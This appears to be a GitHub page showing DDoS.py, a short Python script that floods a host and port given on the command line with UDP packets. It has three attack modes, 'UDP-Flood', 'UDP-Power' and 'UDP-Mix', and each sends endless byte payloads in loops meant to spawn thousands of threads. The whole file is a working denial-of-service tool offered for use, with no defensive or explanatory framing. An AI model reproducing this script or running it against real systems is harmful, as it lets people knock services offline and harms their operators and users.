-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathDDoS.py
40 lines (34 loc) · 1.16 KB
/
DDoS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import sys
import socket
import threading
#import time as clock
host = str(sys.argv[1])
port = int(sys.argv[2])
#time = int(sys.argv[4])
method = str(sys.argv[3])
loops = 10000
def send_packet(amplifier):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((str(host), int(port)))
while True: s.send(b"\x99" * amplifier)
except: return s.close()
#def timer(timeout):
# while True:
# if clock.time() > timeout: exit()
# if clock.time() < timeout: clock.sleep(0.1)
def attack_HQ():
#timeout = clock.time() + time
#timer(timeout)
if method == "UDP-Flood":
for sequence in range(loops):
threading.Thread(target=send_packet(375), daemon=True).start()
if method == "UDP-Power":
for sequence in range(loops):
threading.Thread(target=send_packet(750), daemon=True).start()
if method == "UDP-Mix":
for sequence in range(loops):
threading.Thread(target=send_packet(375), daemon=True).start()
threading.Thread(target=send_packet(750), daemon=True).start()
attack_HQ()